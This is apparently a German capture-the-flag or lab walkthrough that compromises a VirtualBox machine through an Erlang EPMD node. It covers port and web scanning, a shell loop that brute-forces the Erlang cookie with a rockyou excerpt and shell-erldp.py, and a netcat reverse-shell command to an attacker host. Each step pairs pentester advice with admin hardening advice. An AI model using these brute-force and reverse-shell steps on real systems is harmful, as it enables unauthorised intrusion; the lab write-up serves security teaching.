**Analyse:** Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment (192.168.2.0/24). `arp-scan -l` sendet ARP-Requests an alle möglichen Adressen im lokalen Netz und listet die antwortenden Geräte mit ihren IP- und MAC-Adressen auf.
**Bewertung:** Das Tool identifiziert erfolgreich ein Zielgerät mit der IP-Adresse 192.168.2.108 und der MAC-Adresse 08:00:27:0c:27:50. Die MAC-Adresse gehört laut OUI-Lookup (Organizationally Unique Identifier) zu "PCS Systemtechnik GmbH", was oft bei Virtualisierungssoftware wie VirtualBox vorkommt. Dies bestätigt, dass das Ziel aktiv ist und liefert die primäre IP für weitere Scans.
**Empfehlung (Pentester):** Die identifizierte IP als Hauptziel für weitere Scans verwenden. Die MAC-Adresse notieren, falls später MAC-Spoofing oder spezifische Virtualisierungs-Exploits relevant werden könnten.
**Empfehlung (Admin):** ARP-Scanning ist ein normales Verhalten im Netzwerk. Sicherstellen, dass nur erwartete Geräte im Netzwerk aktiv sind. Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.
192.168.2.108 08:00:27:0c:27:50 PCS Systemtechnik GmbH
**Analyse:** Um die Erreichbarkeit des Ziels über einen Hostnamen zu vereinfachen und mögliche vHost-Konfigurationen auf dem Webserver zu berücksichtigen, wird die lokale `/etc/hosts`-Datei bearbeitet. Der Befehl `vi /etc/hosts` öffnet die Datei im vi-Editor, um einen Eintrag hinzuzufügen.
**Bewertung:** Es wird ein Eintrag erstellt, der die IP-Adresse 192.168.2.108 dem Hostnamen `lang.vlx` zuordnet. Dies ist eine gute Praxis, da manche Webanwendungen oder Konfigurationen unterschiedlich reagieren, je nachdem, ob sie über IP oder Hostname angesprochen werden.
**Empfehlung (Pentester):** Bei zukünftigen Web-Scans sowohl die IP als auch den definierten Hostnamen verwenden. Dies kann helfen, versteckte virtuelle Hosts oder unterschiedliche Konfigurationen aufzudecken.
**Empfehlung (Admin):** Die `/etc/hosts`-Datei wird nur auf dem Rechner des Pentesters geändert und hat keine Auswirkungen auf das Zielsystem oder das Netzwerk. Es ist keine direkte Maßnahme erforderlich.
127.0.0.1 localhost 192.168.2.108 lang.vlx
**Analyse:** `nikto` wird verwendet, um einen ersten Scan des Webservers auf Port 80 (Standard-HTTP) durchzuführen. Der Parameter `-h http://192.168.2.108` spezifiziert das Ziel. Nikto prüft auf bekannte Schwachstellen, veraltete Software, Konfigurationsfehler und interessante Dateien/Verzeichnisse.
**Bewertung:** Der Scan identifiziert einen Apache/2.4.61 (Debian) Webserver. Mehrere potenzielle Sicherheitsprobleme werden gemeldet: * Fehlender `X-Frame-Options`-Header: Ermöglicht potenziell Clickjacking-Angriffe. * Fehlender `X-Content-Type-Options`-Header: Könnte Browser dazu verleiten, Inhalte falsch zu interpretieren (MIME-Sniffing). * Mögliches Inode-Leak über ETags: Könnte Informationen über die Dateisystemstruktur preisgeben (CVE-2003-1418, sehr alt und oft geringes Risiko). * Erlaubte HTTP-Methoden: `GET`, `POST`, `OPTIONS`, `HEAD` sind Standardmethoden, hier keine direkten Auffälligkeiten. Der Scan liefert wichtige Informationen über die Serverkonfiguration und erste Hinweise auf mögliche Schwachstellen.
**Empfehlung (Pentester):** Die gemeldeten Header-Probleme notieren, sie könnten in Kombination mit anderen Schwachstellen relevant werden. Die Apache-Version recherchieren, ob spezifische Exploits bekannt sind. Die ETag-Information ist meist von geringem Wert, kann aber notiert werden.
**Empfehlung (Admin):** Die fehlenden HTTP-Security-Header (`X-Frame-Options: SAMEORIGIN` oder `DENY`, `X-Content-Type-Options: nosniff`) in der Apache-Konfiguration hinzufügen, um Clickjacking und MIME-Sniffing-Risiken zu minimieren. Das ETag-Verhalten überprüfen und ggf. so konfigurieren, dass keine Inodes preisgegeben werden (`FileETag MTime Size` statt Standard).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.108 + Target Hostname: 192.168.2.108 + Target Port: 80 + Start Time: 2024-08-23 12:49:32 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.61 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Server may leak inodes via ETags, header found with file /, inode: ba, size: 6201f93613b07, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8909 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-08-23 12:49:43 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Dieser `nmap`-Befehl führt einen umfassenden TCP-Portscan durch. * `-sC`: Führt Standard-Nmap-Skripte aus. * `-sS`: Führt einen SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein Connect-Scan. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-A`: Aktiviert aggressive Optionen, einschließlich OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-T5`: Setzt das Timing-Template auf "insane", um den Scan zu beschleunigen (kann ungenau sein oder IDS/Firewalls auslösen). * `192.168.2.108`: Das Ziel. * `-p-`: Scannt alle 65535 TCP-Ports. * `-Pn`: Überspringt die Host-Discovery (Ping-Scan) und nimmt an, dass der Host online ist. * `-n`: Deaktiviert die DNS-Auflösung. * `--min-rate 10000`: Sendet Pakete mit einer Mindestrate von 10000 pro Sekunde (sehr aggressiv). * `| grep open`: Filtert die Ausgabe und zeigt nur Zeilen an, die "open" enthalten, um eine schnelle Übersicht über offene Ports zu erhalten.
**Bewertung:** Der Scan identifiziert mehrere offene TCP-Ports: * 22/tcp (ssh): OpenSSH 8.4p1 (Debian). Ein Standard-Port für sichere Fernwartung. * 80/tcp (http): Apache httpd 2.4.61 (Debian). Der bereits von Nikto gefundene Webserver. * 4369/tcp (epmd): Erlang Port Mapper Daemon. Wird von Erlang/OTP-Anwendungen zur Knotenkoordination verwendet. Dies ist oft ein interessanter Dienst für weitere Untersuchungen. * 8080/tcp (http): Ein weiterer Apache httpd 2.4.61 (Debian). Möglicherweise ein alternativer Webserver, eine Admin-Oberfläche oder ein Proxy. Die Notiz `http-open-proxy` deutet auf eine mögliche Proxy-Funktionalität hin. * 37843/tcp (unknown): Ein unbekannter Dienst auf einem hohen Port. Könnte mit dem EPMD zusammenhängen oder ein anderer benutzerdefinierter Dienst sein. Diese Ergebnisse geben eine klare Angriffsfläche vor.
**Empfehlung (Pentester):** Jeden offenen Port genauer untersuchen. SSH auf bekannte Schwachstellen oder schwache Anmeldedaten prüfen. Die beiden Webserver (80, 8080) auf Unterschiede, Schwachstellen und Verzeichnisse scannen. Den EPMD-Dienst (4369) und den unbekannten Port (37843) genauer untersuchen, da sie oft weniger gehärtet sind. Die Proxy-Funktion auf Port 8080 testen.
**Empfehlung (Admin):** Überprüfen, ob alle offenen Ports notwendig sind. Ungenutzte Dienste deaktivieren. Sicherstellen, dass SSH sicher konfiguriert ist (z.B. Key-Authentifizierung bevorzugen, Passwort-Login ggf. deaktivieren, Fail2Ban verwenden). Die Webserver aktuell halten und sicher konfigurieren. Den Zweck der EPMD- und des unbekannten Dienstes überprüfen und absichern. Wenn Port 8080 als Proxy dient, sicherstellen, dass er nicht offen und missbrauchbar ist.
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.61 ((Debian)) 4369/tcp open epmd Erlang Port Mapper Daemon 8080/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests 37843/tcp open unknown
**Analyse:** Dies ist derselbe `nmap`-Befehl wie zuvor, jedoch ohne das `| grep open`. Dadurch wird die vollständige Ausgabe von Nmap angezeigt, einschließlich Details zu den Diensten, Ergebnissen der Nmap Scripting Engine (NSE), Betriebssystemerkennung und Traceroute.
**Bewertung:** Die vollständige Ausgabe bestätigt die offenen Ports und Versionen. Zusätzliche Details: * **SSH (22):** Zeigt die Host-Keys (RSA, ECDSA, ED25519). Keine direkten Schwachstellen durch die Skripte gefunden. * **HTTP (80):** Kein auf der Hauptseite. Server-Header bestätigt Apache/2.4.61. * **EPMD (4369):** Das `epmd-info`-Skript erkennt einen registrierten Erlang-Knoten namens `n0d3` auf Port `37843`. Dies verbindet den EPMD mit dem unbekannten Port von zuvor. Sehr wichtige Information! * **HTTP (8080):** Ebenfalls kein . Bestätigt die mögliche Open-Proxy-Funktion. Server-Header identisch zu Port 80. * **Unknown (37843):** Wird nun als der Port des Erlang-Knotens `n0d3` identifiziert. * **MAC Address:** Bestätigt die VirtualBox-MAC. * **OS Detection:** Nmap schätzt das Betriebssystem als Linux (verschiedene Kernel-Versionen, hauptsächlich 4.15 - 5.8). Die Angabe `OS: Linux; CPE: cpe:/o:linux:linux_kernel` bestätigt dies generisch. * **Traceroute:** Zeigt nur einen Hop, was auf eine direkte Verbindung im lokalen Netzwerk hinweist.
**Empfehlung (Pentester):** Der Fokus sollte nun stark auf dem Erlang-Dienst liegen. Die Verbindung zwischen EPMD (Port 4369) und dem Knoten `n0d3` (Port 37843) ist der vielversprechendste Angriffsvektor. Recherche zu Erlang/OTP-Schwachstellen, insbesondere im Zusammenhang mit EPMD und Remote Code Execution. Die Webserver und SSH bleiben sekundäre Ziele.
**Empfehlung (Admin):** Den Erlang-Dienst absichern. Wenn EPMD nicht von außen erreichbar sein muss, den Zugriff per Firewall auf localhost beschränken. Sicherstellen, dass Erlang-Nodes sichere Cookies verwenden und nicht über das Netzwerk ungeschützt kommunizieren. Die Sicherheit der Anwendung, die den Knoten `n0d3` bereitstellt, überprüfen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 12:49 CEST Nmap scan report for 192.168.2.108 Host is up (0.00065s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.61 (Debian) 4369/tcp open epmd Erlang Port Mapper Daemon | epmd-info: | epmd_port: 4369 | nodes: |_ n0d3: 37843 8080/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.61 (Debian) 37843/tcp open unknown MAC Address: 08:00:27:0C:27:50 (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.8 (98%), Linux 5.0 - 5.5 (97%), Linux 5.0 - 5.4 (96%), Linux 2.6.32 (95%), Linux 3.2 - 4.9 (95%), Linux 2.6.32 - 3.10 (95%), Linux 5.3 - 5.4 (95%), Linux 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.4 - 3.10 (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.65 ms 192.168.2.108 Nmap done: 1 IP address (1 host up) scanned in 14.57 seconds
**Analyse:** `dirb` ist ein Verzeichnis-Scanner für Webserver. Mit `dirb http://192.168.2.108` wird der Webserver auf Port 80 mit einer Standard-Wortliste nach häufig vorkommenden Verzeichnissen und Dateien durchsucht.
**Bewertung:** Dirb findet mehrere Verzeichnisse und Dateien: * `/api/`: Ein Verzeichnis, das auf eine API (Application Programming Interface) hindeutet. APIs sind oft interessante Angriffsziele. Enthält Unterverzeichnisse `v1` und `v2`. * `/cgi-bin/`: Ein Standardverzeichnis für CGI-Skripte. Der Zugriff wird mit `403 Forbidden` verweigert, was normal ist, wenn keine Skripte vorhanden oder der Index verboten ist. * `/index.html`: Die Standard-Startseite (`200 OK`). * `/javascript/`: Ein Verzeichnis für JavaScript-Dateien. Enthält ein Unterverzeichnis `jquery`. * `/server-status`: Eine Apache-Statusseite. Der Zugriff ist ebenfalls verboten (`403 Forbidden`), was gut ist, da diese Seite sensible Informationen preisgeben kann. Die Funde `/api/` und `/javascript/jquery/jquery` (eine Datei) sind die relevantesten Ergebnisse.
**Empfehlung (Pentester):** Das `/api/`-Verzeichnis und seine Unterverzeichnisse `v1` und `v2` genauer untersuchen. Versuchen, API-Endpunkte zu finden und zu testen (z.B. mit Tools wie `gobuster` oder spezialisierten API-Scannern). Die gefundene jQuery-Datei (`/javascript/jquery/jquery`) auf ihre Version prüfen, um bekannte Schwachstellen in dieser Bibliothek auszuschließen.
**Empfehlung (Admin):** Sicherstellen, dass der Zugriff auf `/cgi-bin/` und `/server-status` tatsächlich beabsichtigt verboten ist. Die API (`/api/`) absichern, Authentifizierung und Autorisierung implementieren und nur notwendige Endpunkte freigeben. Regelmäßig auf Schwachstellen in verwendeten JavaScript-Bibliotheken (wie jQuery) prüfen und diese aktuell halten.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Aug 23 12:51:15 2024 URL_BASE: http://192.168.2.108/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.108/ ---- > DIRECTORY: http://192.168.2.108/api/ + http://192.168.2.108/cgi-bin/ (CODE:403|SIZE:278) + http://192.168.2.108/index.html (CODE:200|SIZE:186) > DIRECTORY: http://192.168.2.108/javascript/ + http://192.168.2.108/server-status (CODE:403|SIZE:278) ---- Entering directory: http://192.168.2.108/api/ ---- > DIRECTORY: http://192.168.2.108/api/v1/ > DIRECTORY: http://192.168.2.108/api/v2/ ---- Entering directory: http://192.168.2.108/javascript/ ---- > DIRECTORY: http://192.168.2.108/javascript/jquery/ ---- Entering directory: http://192.168.2.108/api/v1/ ---- ---- Entering directory: http://192.168.2.108/api/v2/ ---- ---- Entering directory: http://192.168.2.108/javascript/jquery/ ---- + http://192.168.2.108/javascript/jquery/jquery (CODE:200|SIZE:287600) ----------------- END_TIME: Fri Aug 23 12:51:26 2024 DOWNLOADED: 27672 - FOUND: 4
**Analyse:** `gobuster` wird für eine umfassendere Verzeichnis- und Dateisuche eingesetzt. * `dir`: Gibt den Modus für die Verzeichnissuche an. * `-u "http://lang.vlx"`: Das Ziel, diesmal unter Verwendung des zuvor definierten Hostnamens. * `-w "/usr/share/wordlists/seclists/.../directory-list-2.3-medium.txt"`: Verwendet eine größere Wortliste von SecLists. * `-x ...`: Sucht zusätzlich nach Dateien mit den angegebenen Endungen (sehr umfangreiche Liste). * `-b '503,404,403'`: Blendet Ergebnisse mit diesen HTTP-Statuscodes aus (um Rauschen zu reduzieren). * `-e`: Zeigt die vollständige URL für gefundene Verzeichnisse an. * `--no-error`: Blendet Verbindungsfehler aus. * `-k`: Ignoriert SSL-Zertifikatsfehler (hier nicht relevant, da HTTP).
**Bewertung:** Gobuster bestätigt die Funde von `dirb` (`index.html`, `/api`, `/javascript`) mit Statuscodes 200 (OK) bzw. 301 (Moved Permanently, was auf Verzeichnisse hinweist, die einen Schrägstrich am Ende benötigen). Es findet keine zusätzlichen relevanten Verzeichnisse oder Dateien trotz der größeren Wortliste und der vielen Dateiendungen. Dies deutet darauf hin, dass die Web-Angriffsfläche auf Port 80 relativ klein ist und der Fokus weiterhin auf der API oder anderen Diensten liegen sollte.
**Empfehlung (Pentester):** Den Fokus auf die API unter `/api/` legen. Untersuchen, welche HTTP-Methoden für die API-Pfade erlaubt sind und ob Endpunkte ohne Authentifizierung zugänglich sind. Parallel dazu die anderen offenen Ports weiter untersuchen, insbesondere den Erlang-Dienst.
**Empfehlung (Admin):** Sicherstellen, dass keine sensiblen Dateien oder Verzeichnisse über den Webserver zugänglich sind, die nicht öffentlich sein sollen. Directory Listing sollte deaktiviert sein (Standard bei Apache, aber prüfen). API-Sicherheit (Authentifizierung, Autorisierung, Ratenbegrenzung) implementieren.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://lang.vlx [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Expanded: true [+] Extensions: sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,txt,php,rar,zip,tar,pub,xls,docx,doc [+] Ignore SSL certificate errors: true [+] Timeout: 10s =============================================================== 2024/08/23 12:52:14 Starting gobuster in directory enumeration mode =============================================================== http://lang.vlx/index.html (Status: 200) [Size: 186] http://lang.vlx/api (Status: 301) [Size: 302] [--> http://lang.vlx/api/] http://lang.vlx/javascript (Status: 301) [Size: 309] [--> http://lang.vlx/javascript/] =============================================================== 2024/08/23 12:53:46 Finished ===============================================================
**Analyse:** Nach der Identifizierung des Erlang Port Mapper Daemons (EPMD) auf Port 4369 und des zugehörigen Knotens `n0d3` auf Port 37843 durch Nmap wird nun versucht, direkt mit dem EPMD zu kommunizieren. Der Befehl `echo -n -e '\x00\x01\x6e' | nc -vn 192.168.2.108 4369` sendet einen spezifischen Byte-Code (`\x00\x01\x6e`, was dem Befehl 'NAMES_REQ' entspricht) über `netcat` (nc) an den EPMD-Port. `-n` verhindert DNS-Lookup, `-v` sorgt für ausführliche Ausgabe.
**Bewertung:** Der EPMD antwortet wie erwartet und bestätigt, dass der Knoten `n0d3` auf Port `37843` registriert ist. Dies verifiziert die Nmap-Ergebnisse und zeigt, dass der EPMD ansprechbar ist. Erlang-Nodes kommunizieren miteinander über ein verteiltes Protokoll (Erlang Distribution Protocol), das durch ein sogenanntes "Cookie" gesichert wird – ein geheimer String, der auf allen kommunizierenden Nodes identisch sein muss.
**Empfehlung (Pentester):** Der nächste logische Schritt ist, das Erlang-Cookie für den Knoten `n0d3` zu finden oder zu erraten. Wenn das Cookie bekannt ist, kann man sich potenziell mit dem Knoten verbinden und Code ausführen. Tools wie `erl-matter` oder Metasploit-Module können hierfür verwendet werden.
**Empfehlung (Admin):** Sicherstellen, dass Erlang-Nodes starke, nicht erratbare Cookies verwenden. Die Cookie-Datei (`~/.erlang.cookie` oder systemweit) sollte restriktive Berechtigungen haben (lesbar nur für den Erlang-Prozess/Benutzer). Wenn möglich, Erlang Distribution über ungesicherte Netzwerke vermeiden oder zusätzlich durch TLS absichern.
(UNKNOWN) [192.168.2.108] 4369 (epmd) open name n0d3 at port 37843
**Analyse:** Da das Erlang-Cookie benötigt wird, wird ein Brute-Force-Angriff vorbereitet. Um die Angriffszeit zu verkürzen, wird nicht die gesamte `rockyou.txt`-Wortliste verwendet, sondern nur die ersten 10.000 Einträge. Der Befehl `head -n 10000 /usr/share/wordlists/rockyou.txt > rockmini10000.txt` extrahiert diese Zeilen und speichert sie in einer neuen Datei `rockmini10000.txt`.
**Bewertung:** Dies ist eine pragmatische Optimierung. Die `rockyou.txt` ist sehr groß, und viele Erlang-Cookies sind Standardwerte oder einfache Wörter, die oft am Anfang gängiger Wortlisten stehen. Das Erstellen einer kleineren Liste beschleunigt den Brute-Force-Prozess erheblich.
**Empfehlung (Pentester):** Bei Brute-Force-Angriffen immer die Effizienz abwägen. Mit kleineren, gezielteren Wortlisten beginnen, bevor man zu massiven Listen übergeht. Die `rockyou.txt` ist eine gute Quelle für häufig verwendete Passwörter und könnte auch gängige Cookies enthalten.
**Empfehlung (Admin):** Keine Standard- oder leicht erratbaren Wörter als Erlang-Cookies verwenden. Lange, zufällige Zeichenketten sind zu bevorzugen. Überwachung auf Brute-Force-Versuche implementieren (obwohl dies bei Erlang schwierig sein kann).
**Analyse:** Dieser Befehl führt den eigentlichen Brute-Force-Angriff auf das Erlang-Cookie durch. * `for cookie in $(cat rockmini10000.txt)`: Liest jedes Wort aus der erstellten Wortliste `rockmini10000.txt` und weist es der Variablen `cookie` zu. * `python2 /root/Hackingtools/erl-matter/shell-erldp.py 192.168.2.108 37843 "$cookie" id`: Versucht, mit dem Tool `shell-erldp.py` (einem spezialisierten Python2-Skript zur Interaktion mit Erlang-Nodes) eine Verbindung zum Zielknoten (`192.168.2.108` auf Port `37843`) unter Verwendung des aktuellen Worts (`$cookie`) als Cookie herzustellen und den Befehl `id` auszuführen. * `2>&1`: Leitet Fehlermeldungen (stderr) in die Standardausgabe (stdout) um. * `| grep -q "wrong cookie, auth unsuccessful"`: Prüft, ob die Ausgabe die Fehlermeldung "wrong cookie, auth unsuccessful" enthält. `-q` unterdrückt die Ausgabe von `grep`. * `if ! ...`: Führt den folgenden Code nur aus, wenn die Fehlermeldung *nicht* gefunden wurde (d.h., wenn die Authentifizierung erfolgreich war oder ein anderer Fehler auftrat). * `then echo "Cookie gefunden: $cookie"; break;`: Gibt das gefundene Cookie aus und bricht die Schleife ab (`break`). * `fi; done`: Schließt die `if`-Bedingung und die `for`-Schleife.
**Bewertung:** Der Brute-Force-Angriff ist erfolgreich! Das Skript findet heraus, dass das Wort `poohbear` als Cookie für den Erlang-Knoten `n0d3` verwendet wird. Dies ist ein relativ schwaches, bekanntes Standard-Cookie, was die Kompromittierung ermöglicht. Der Besitz des Cookies erlaubt nun die Authentifizierung am Erlang-Node.
**Empfehlung (Pentester):** Das gefundene Cookie `poohbear` verwenden, um mit `shell-erldp.py` oder ähnlichen Tools Befehle auf dem Zielsystem auszuführen. Ziel ist es, eine interaktive Shell zu erlangen.
**Empfehlung (Admin):** Das Erlang-Cookie sofort ändern! Ein starkes, zufälliges Cookie generieren und auf allen relevanten Nodes verteilen. Überprüfen, unter welchem Benutzer der Erlang-Prozess läuft, um das potenzielle Schadensausmaß abzuschätzen.
Cookie gefunden: poohbear
**Analyse:** Nach dem erfolgreichen Erraten des Cookies (`poohbear`) wird versucht, eine Reverse Shell zu etablieren. * `python2 shell-erldp.py 192.168.2.108 37843 poohbear`: Verbindet sich wieder mit dem Erlang-Node unter Verwendung des korrekten Cookies. * `"nc -e /bin/bash 192.168.2.199 1337"`: Der Befehl, der auf dem Zielsystem ausgeführt werden soll. `nc` (netcat) soll eine Verbindung zum Angreifer-PC (`192.168.2.199`) auf Port `1337` herstellen und die Standardein-/-ausgabe der Bash-Shell (`/bin/bash`) über diese Verbindung umleiten (`-e`). Dies ist eine klassische Methode, um eine Reverse Shell zu erhalten. Parallel dazu wird auf dem Angreifer-PC ein Listener gestartet.
**Bewertung:** Das Skript `shell-erldp.py` meldet keine Authentifizierungsfehler mehr, was darauf hindeutet, dass die Verbindung mit dem Cookie `poohbear` erfolgreich ist. Der Befehl zur Erstellung der Reverse Shell wird an den Erlang-Node gesendet. Der Erfolg hängt davon ab, ob `nc` auf dem Zielsystem vorhanden ist und die `-e`-Option unterstützt (was bei vielen modernen `nc`-Versionen aus Sicherheitsgründen nicht mehr der Fall ist) und ob eine Firewall die ausgehende Verbindung erlaubt.
**Empfehlung (Pentester):** Auf dem eigenen Rechner (192.168.2.199) einen Listener auf Port 1337 starten (`nc -lvnp 1337`), bevor dieser Befehl ausgeführt wird. Wenn die Verbindung erfolgreich ist, erhält man eine Shell auf dem Zielsystem. Falls `nc -e` nicht funktioniert, alternative Methoden für Reverse Shells ausprobieren (z.B. via Bash, Python, Perl, etc.).
**Empfehlung (Admin):** Ausgehende Netzwerkverbindungen vom Server einschränken (Egress Filtering). Nur notwendige Verbindungen zu erlaubten Zielen und Ports zulassen. Die Installation und Verwendung von `netcat` überwachen oder einschränken. Sicherstellen, dass der Erlang-Prozess mit minimalen Rechten läuft.
**Analyse:** Dieser Abschnitt zeigt die Analyse von Netzwerkverkehr mit Wireshark, die parallel zum Verbindungsversuch durchgeführt wurde. Es werden Fragmente des Erlang Distribution Protocols zwischen dem Angreifer und dem Ziel (192.168.2.108) dargestellt. Innerhalb der Payload sind menschenlesbare Strings wie `n0d3@megalang`, `id`, `user` und `rex` (Remote Execution) sichtbar.
**Bewertung:** Die Wireshark-Analyse bestätigt die Kommunikation über das Erlang-Protokoll und zeigt interne Details wie den Knotennamen (`n0d3@megalang`). Besonders interessant ist der Fund `uid=1000(killer) gid=1000(killer) grupos=1000(killer)`. Dies scheint das Ergebnis des `id`-Befehls zu sein, der zuvor testweise gesendet wurde (oder Teil des Reverse-Shell-Payloads ist). Es verrät, dass der Erlang-Prozess auf dem Zielsystem unter dem Benutzer `killer` (UID 1000) läuft.
**Empfehlung (Pentester):** Die Information, dass der Prozess als Benutzer `killer` läuft, ist entscheidend. Die erlangte Shell wird die Rechte dieses Benutzers haben. Wireshark ist nützlich zur Fehlersuche und zum Verständnis unbekannter Protokolle, aber für den reinen Exploit nicht zwingend notwendig, wenn Tools wie `shell-erldp.py` funktionieren.
**Empfehlung (Admin):** Netzwerkverkehr überwachen (Intrusion Detection System), um verdächtige Protokolle oder Kommunikationsmuster zu erkennen. Den Erlang-Prozess idealerweise unter einem dedizierten Benutzer mit minimalen Rechten ausführen, nicht unter einem normalen Benutzerkonto wie `killer`.
wireshark --> 192.168.2.108 stream verfolgen ..N.............WYSUQB@nowhere..sok. N........c...f.^.. n0d3@megalang..r......A....n. ...}R&..a...)#\x...'........fp.h.a.gs. WYSUQB@nowhere.........s.s.rex.h.gs.WYSUQB@nowhere.........h.s.calls .oss.cmdl....k..idjs.user...fp.h.a.w.Xw.WYSUQB@nowhere.............h.w. rexk.6uid=1000(killer) gid=1000(killer) grupos=1000(killer)
**Analyse:** Auf dem Angreifer-PC wird der `netcat`-Listener gestartet. * `nc`: Das netcat-Tool. * `-l`: Listen-Modus, wartet auf eingehende Verbindungen. * `-v`: Verbose-Modus, gibt mehr Informationen aus. * `-n`: Keine DNS-Auflösung. * `-p 1337`: Lauscht auf Port 1337.
**Bewertung:** Der Listener ist nun bereit, die eingehende Verbindung von der Reverse Shell des Zielsystems entgegenzunehmen. Der erste Versuch (`python2 shell-erldp.py ...`) wurde ausgeführt, bevor der Listener gestartet wurde, daher wird der Befehl erneut ausgeführt.
**Empfehlung (Pentester):** Immer zuerst den Listener starten, bevor der Befehl zum Aufbau der Reverse Shell auf dem Ziel ausgelöst wird. Sicherstellen, dass keine lokale Firewall auf dem Angreifer-PC die eingehende Verbindung auf Port 1337 blockiert.
**Empfehlung (Admin):** Dies ist eine Aktion auf dem Angreifer-PC und erfordert keine direkte Maßnahme auf dem Zielsystem, außer den bereits genannten Empfehlungen zur Verhinderung von Reverse Shells (Egress Filtering, Prozessrechte).
listening on [any] 1337 ...
**Analyse:** Der Befehl zum Auslösen der Reverse Shell via Erlang wird erneut ausgeführt, diesmal während der `nc`-Listener auf dem Angreifer-PC aktiv ist.
**Bewertung:** Das Skript meldet `[*] authenticated onto victim`, was den erfolgreichen Verbindungsaufbau zum Erlang-Node bestätigt. Kurz darauf sollte die Verbindung beim Listener auf dem Angreifer-PC ankommen.
**Empfehlung (Pentester):** Das Terminalfenster mit dem `nc`-Listener beobachten. Wenn die Verbindung erfolgreich ist, erscheint dort eine Meldung und man erhält einen Shell-Prompt vom Zielsystem.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen bezüglich Egress Filtering und Prozessrechten.
[*] authenticated onto victim
**Analyse:** Dieses Fenster zeigt den `nc`-Listener auf dem Angreifer-PC. Nach dem erneuten Ausführen des `python2`-Befehls im anderen Fenster kommt hier die Verbindung vom Zielsystem (192.168.2.108) an. Der Befehl `id` wird in der erhaltenen Shell ausgeführt.
**Bewertung:** Fantastisch! Die Reverse Shell war erfolgreich! Der Listener meldet `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.108] 47040`. Die Ausführung von `id` bestätigt, dass wir eine Shell als Benutzer `killer` (uid=1000, gid=1000) auf dem Zielsystem haben. Der initiale Zugriff (Initial Access) ist somit gelungen.
**Empfehlung (Pentester):** Die Shell stabilisieren (z.B. mit Python PTY oder `script /dev/null -c bash`), um Funktionalität wie Tab-Vervollständigung und korrekte Darstellung zu erhalten. Anschließend mit der Enumeration auf dem Zielsystem beginnen, um Wege zur Privilegienerweiterung (Privilege Escalation) zu finden. Als erstes den User-Flag suchen.
**Empfehlung (Admin):** Dringend die Erlang-Schwachstelle (schwaches Cookie) beheben und Egress Filtering implementieren. Die Aktivitäten des Benutzers `killer` untersuchen, um das Ausmaß der Kompromittierung festzustellen.
listening on [any] 1337 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.108] 47040 id uid=1000(killer) gid=1000(killer) grupos=1000(killer)
**Analyse:** Die erhaltene Netcat-Shell ist oft rudimentär. Der Befehl `stty rows 48 columns 94` versucht, die Terminalgröße der Shell anzupassen, um Darstellungsprobleme bei größeren Ausgaben zu vermeiden. Anschließend wird `id` erneut ausgeführt, um die Benutzeridentität zu bestätigen.
**Bewertung:** Das Anpassen der Terminalgröße (`stty`) verbessert die Benutzerfreundlichkeit der Shell erheblich. Die erneute Ausführung von `id` bestätigt, dass wir weiterhin als Benutzer `killer` agieren. Dies sind typische Schritte nach Erhalt einer initialen Shell.
